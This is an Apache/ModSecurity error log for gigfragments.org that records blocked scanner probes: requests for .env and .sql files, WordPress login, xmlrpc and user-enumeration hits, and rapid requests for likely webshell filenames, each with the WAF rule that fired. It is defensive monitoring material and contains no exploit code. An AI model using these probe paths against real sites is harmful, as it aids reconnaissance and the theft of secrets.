[Fri Jan 02 16:10:01.976100 2026] [:error] [pid 63098:tid 63131] [client 185.177.72.51:45102] [client 185.177.72.51] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env"] [unique_id "aVd9Wcez9k78gUs48koPCwAAABg"]
[Fri Jan 02 16:10:03.441735 2026] [:error] [pid 63100:tid 63183] [client 185.177.72.51:11948] [client 185.177.72.51] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.testing"] [unique_id "aVd9WzuUXUKd3KTnKl8h0gAAAJY"]
[Fri Jan 02 16:19:22.459197 2026] [:error] [pid 29316:tid 29323] [client 119.96.24.54:49192] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVd_itfT9ty-7jZmgf97dwAAAQU"]
[Fri Jan 02 18:02:46.682730 2026] [:error] [pid 50186:tid 50201] [client 159.65.130.72:20626] [client 159.65.130.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.130.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVeXxlXqK_iX4f-S70JMAQAAAY0"]
[Fri Jan 02 18:14:31.448962 2026] [:error] [pid 43358:tid 43363] [client 185.220.101.16:12184] [client 185.220.101.16] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/ragments.sql"] [unique_id "aVeahwncbHK9auzvrA83wQAAAcM"]
[Fri Jan 02 18:14:36.898422 2026] [:error] [pid 50186:tid 50194] [client 192.42.116.202:13939] [client 192.42.116.202] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/ts.sql"] [unique_id "aVeajFXqK_iX4f-S70JNwwAAAYY"]
[Fri Jan 02 18:14:42.176106 2026] [:error] [pid 63098:tid 63108] [client 193.189.100.202:55183] [client 193.189.100.202] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/gi.sql"] [unique_id "aVeaksez9k78gUs48kos7QAAAAE"]
[Fri Jan 02 18:14:49.890824 2026] [:error] [pid 50186:tid 50200] [client 185.243.218.233:49720] [client 185.243.218.233] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/s.sql"] [unique_id "aVeamVXqK_iX4f-S70JN2wAAAYw"]
[Fri Jan 02 18:48:24.041296 2026] [:error] [pid 50046:tid 50053] [client 176.65.132.122:50629] [client 176.65.132.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVeieCzv7fgIiwkQYNCVGwAAAUU"], referer: https://www.google.com
[Fri Jan 02 18:48:26.366775 2026] [:error] [pid 63099:tid 63145] [client 176.65.132.122:57692] [client 176.65.132.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVeiesmCZokRPYUhzvilwgAAAEs"], referer: https://www.google.com
[Fri Jan 02 18:48:32.386740 2026] [:error] [pid 50046:tid 50067] [client 176.65.132.122:50629] [client 176.65.132.122] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aVeigCzv7fgIiwkQYNCVJAAAAVM"], referer: https://www.google.com
[Fri Jan 02 18:48:53.176151 2026] [:error] [pid 50046:tid 50049] [client 176.65.132.122:50629] [client 176.65.132.122] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aVeilSzv7fgIiwkQYNCVPAAAAUE"], referer: https://www.google.com
[Fri Jan 02 18:48:55.213408 2026] [:error] [pid 50186:tid 50203] [client 176.65.132.122:56821] [client 176.65.132.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVeil1XqK_iX4f-S70JTcAAAAY8"], referer: http://gigfragments.org/wp-admin/
[Fri Jan 02 18:48:57.307279 2026] [:error] [pid 29316:tid 29330] [client 176.65.132.122:51562] [client 176.65.132.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVeimdfT9ty-7jZmgf-RWwAAAQw"], referer: http://gigfragments.org/wp-admin/
[Fri Jan 02 18:48:59.414153 2026] [:error] [pid 50046:tid 50068] [client 176.65.132.122:64792] [client 176.65.132.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVeimyzv7fgIiwkQYNCVPwAAAVQ"], referer: http://gigfragments.org/wp-admin/
[Fri Jan 02 18:49:02.253835 2026] [:error] [pid 50046:tid 50062] [client 176.65.132.122:64792] [client 176.65.132.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVeinizv7fgIiwkQYNCVQwAAAU4"], referer: https://www.google.com
[Fri Jan 02 18:49:03.898111 2026] [:error] [pid 63100:tid 63165] [client 176.65.132.122:52269] [client 176.65.132.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVeinzuUXUKd3KTnKl818gAAAIQ"], referer: http://gigfragments.org/wp-admin/
[Fri Jan 02 20:01:00.737514 2026] [:error] [pid 63100:tid 63183] [client 148.113.189.81:48822] [client 148.113.189.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.189.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVezfDuUXUKd3KTnKl9DggAAAJY"]
[Fri Jan 02 21:46:28.646792 2026] [:error] [pid 50046:tid 50061] [client 54.36.100.158:35148] [client 54.36.100.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.100.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVfMNCzv7fgIiwkQYNC2ewAAAU0"]
[Fri Jan 02 22:39:13.688619 2026] [:error] [pid 63098:tid 63116] [client 195.26.251.124:52826] [client 195.26.251.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.26.251.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVfYkcez9k78gUs48kp_yAAAAAk"]
[Fri Jan 02 23:35:18.081225 2026] [:error] [pid 63100:tid 63179] [client 5.135.139.120:44866] [client 5.135.139.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.139.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVfltjuUXUKd3KTnKl9ubAAAAJI"]
[Sat Jan 03 00:25:06.367412 2026] [:error] [pid 24661:tid 24744] [client 191.252.5.156:53874] [client 191.252.5.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.252.5.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVfxYhfxsu5kmLDAcZt0VwAAAJg"]
[Sat Jan 03 01:16:11.053598 2026] [:error] [pid 24749:tid 24753] [client 66.42.61.4:51908] [client 66.42.61.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.42.61.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVf9W0iv6Q9UlqwBJkZS3QAAAMI"]
[Sat Jan 03 01:31:33.286251 2026] [autoindex:error] [pid 24659:tid 24673] [client 146.70.161.244:37804] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 03 01:31:33.592512 2026] [autoindex:error] [pid 24659:tid 24670] [client 146.70.161.244:37804] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 03 01:31:33.910277 2026] [autoindex:error] [pid 24659:tid 24668] [client 146.70.161.244:37804] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 03 01:31:34.223753 2026] [autoindex:error] [pid 24659:tid 24664] [client 146.70.161.244:37804] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 03 02:15:20.938477 2026] [:error] [pid 24661:tid 24741] [client 155.133.142.66:53534] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVgLOBfxsu5kmLDAcZunkwAAAJU"]
[Sat Jan 03 02:42:41.633677 2026] [:error] [pid 47234:tid 47257] [client 148.113.35.194:58180] [client 148.113.35.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.35.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVgRoR2w_O5NbPWiWO_pqwAAARU"]
[Sat Jan 03 03:09:50.213430 2026] [:error] [pid 24660:tid 24699] [client 178.63.68.96:60422] [client 178.63.68.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.63.68.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVgX_mZwWsLNsJ3ZH7b1XgAAAEY"]
[Sat Jan 03 03:27:02.635765 2026] [:error] [pid 1931:tid 2039] [client 20.39.206.242:15171] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aVgcBh8Tyw7ZoIdXlcbZZAAAAI8"]
[Sat Jan 03 03:27:02.966126 2026] [:error] [pid 2083:tid 2091] [client 20.39.206.242:15220] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aVgcBjVlR_BmlMPnhV6bOQAAAMY"]
[Sat Jan 03 03:27:03.298328 2026] [:error] [pid 2083:tid 2098] [client 20.39.206.242:15176] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aVgcBzVlR_BmlMPnhV6bOgAAAM0"]
[Sat Jan 03 03:27:03.586019 2026] [:error] [pid 1929:tid 1956] [client 20.39.206.242:15200] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aVgcB-cFqdpu6TNsuWqw_AAAABI"]
[Sat Jan 03 03:27:03.874663 2026] [:error] [pid 1930:tid 1980] [client 20.39.206.242:15191] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-activate.php"] [unique_id "aVgcB5P-6mqhfUDa89y41QAAAE4"]
[Sat Jan 03 03:27:04.195057 2026] [:error] [pid 1929:tid 1938] [client 20.39.206.242:14737] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-activate.php"] [unique_id "aVgcCOcFqdpu6TNsuWqw_QAAAAA"]
[Sat Jan 03 03:27:04.475609 2026] [:error] [pid 1929:tid 1950] [client 20.39.206.242:14734] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-activate.php"] [unique_id "aVgcCOcFqdpu6TNsuWqw_gAAAAw"]
[Sat Jan 03 03:27:04.797678 2026] [:error] [pid 1930:tid 1983] [client 20.39.206.242:14740] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-activate.php"] [unique_id "aVgcCJP-6mqhfUDa89y42AAAAFE"]
[Sat Jan 03 03:27:05.111657 2026] [:error] [pid 1929:tid 1945] [client 20.39.206.242:15202] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "aVgcCecFqdpu6TNsuWqw_wAAAAc"]
[Sat Jan 03 03:27:05.391128 2026] [:error] [pid 1930:tid 1974] [client 20.39.206.242:14732] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "aVgcCZP-6mqhfUDa89y42QAAAEg"]
[Sat Jan 03 03:27:05.735349 2026] [:error] [pid 1929:tid 1948] [client 20.39.206.242:15192] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "aVgcCecFqdpu6TNsuWqxAAAAAAo"]
[Sat Jan 03 03:27:06.015143 2026] [:error] [pid 1930:tid 1967] [client 20.39.206.242:15214] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "aVgcCpP-6mqhfUDa89y42gAAAEE"]
[Sat Jan 03 03:27:06.349734 2026] [:error] [pid 1930:tid 1987] [client 20.39.206.242:15196] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aVgcCpP-6mqhfUDa89y43AAAAFU"]
[Sat Jan 03 03:27:06.622407 2026] [:error] [pid 2083:tid 2093] [client 20.39.206.242:15182] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aVgcCjVlR_BmlMPnhV6bRQAAAMg"]
[Sat Jan 03 03:27:06.922547 2026] [:error] [pid 1931:tid 2035] [client 20.39.206.242:15229] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aVgcCh8Tyw7ZoIdXlcbZcwAAAIs"]
[Sat Jan 03 03:27:07.198339 2026] [:error] [pid 1931:tid 2027] [client 20.39.206.242:14728] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aVgcCx8Tyw7ZoIdXlcbZdQAAAIQ"]
[Sat Jan 03 03:27:07.485893 2026] [:error] [pid 1929:tid 1949] [client 20.39.206.242:14736] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVgcC-cFqdpu6TNsuWqxAgAAAAs"]
[Sat Jan 03 03:27:07.777877 2026] [:error] [pid 2083:tid 2106] [client 20.39.206.242:14774] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVgcCzVlR_BmlMPnhV6bSwAAANU"]
[Sat Jan 03 03:27:08.070895 2026] [:error] [pid 1929:tid 1953] [client 20.39.206.242:15217] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVgcDOcFqdpu6TNsuWqxAwAAAA8"]
[Sat Jan 03 03:27:08.387972 2026] [:error] [pid 1929:tid 1954] [client 20.39.206.242:14759] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVgcDOcFqdpu6TNsuWqxBAAAABA"]
[Sat Jan 03 03:27:08.664832 2026] [:error] [pid 2083:tid 2091] [client 20.39.206.242:15198] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs.php"] [unique_id "aVgcDDVlR_BmlMPnhV6bTwAAAMY"]
[Sat Jan 03 03:27:08.979622 2026] [:error] [pid 2083:tid 2107] [client 20.39.206.242:14730] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs.php"] [unique_id "aVgcDDVlR_BmlMPnhV6bUQAAANY"]
[Sat Jan 03 03:27:09.296197 2026] [:error] [pid 1930:tid 1990] [client 20.39.206.242:15221] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs.php"] [unique_id "aVgcDZP-6mqhfUDa89y45AAAAFg"]
[Sat Jan 03 03:27:09.648243 2026] [:error] [pid 1931:tid 2044] [client 20.39.206.242:15230] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs.php"] [unique_id "aVgcDR8Tyw7ZoIdXlcbZfQAAAJQ"]
[Sat Jan 03 03:27:09.966442 2026] [:error] [pid 1931:tid 2042] [client 20.39.206.242:15231] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cord.php"] [unique_id "aVgcDR8Tyw7ZoIdXlcbZfgAAAJI"]
